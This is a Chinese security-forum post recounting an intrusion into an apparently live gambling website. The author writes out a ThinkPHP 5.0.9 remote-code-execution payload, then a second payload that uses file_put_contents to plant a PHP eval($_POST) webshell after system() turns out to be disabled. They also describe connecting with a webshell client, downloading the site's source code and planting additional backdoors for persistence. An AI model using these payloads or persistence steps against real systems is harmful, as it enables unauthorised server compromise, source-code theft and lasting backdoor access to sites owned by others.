安全矩阵

 找回密码
 立即注册
搜索
查看: 571|回复: 0

实战|记一次简单的BC站点getshell

[复制链接]

180

主题

231

帖子

1178

积分

金牌会员

Rank: 6Rank: 6

积分
1178
发表于 2022-12-16 10:54:29 | 显示全部楼层 |阅读模式

实战|记一次简单的BC站点getshell

最近来了点任务,做BC站,以前没做过只能碰碰运气!
确定目标
主站:

通过旁站:

信息收集
通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。

直接通过payload进行测试,
  1. Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
复制代码

查找payload,直接打:
Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()
发现是php 5.4.45版本的,
直接尝试getshell:
发现system被禁用,尝试其他系统命令的也一样。
查看phpinfo中desable_functions禁用了那些函数。
想办法怎么绕过进行写马(此处卡了我半天)
最后通过一位渗透小伙伴,想出下面的可以利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马,还是底层知识薄弱啊。再次感谢小伙伴!

getshell
构造payload:
  1. <span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0);">_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(143, 89, 2); font-style: italic;"><?php</span> <span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(32, 74, 135); font-weight: bold;">eval</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0); font-weight: bold;">(</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0);">$_POST</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0); font-weight: bold;">[</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0);">a</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0); font-weight: bold;">])</span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(143, 89, 2); font-style: italic;">?></span><span style="outline: 0px; max-width: 100%; box-sizing: border-box; color: rgb(0, 0, 0);">')</span>
复制代码


写入成功,利用菜刀连接。
成功连接。
查看权限:
发现启动了远程安全模式。
想要绕过,发现很多函数被禁用,占未成功。
下载源码:
多部署一些后门,防止被删。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 09:00 , Processed in 0.012255 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表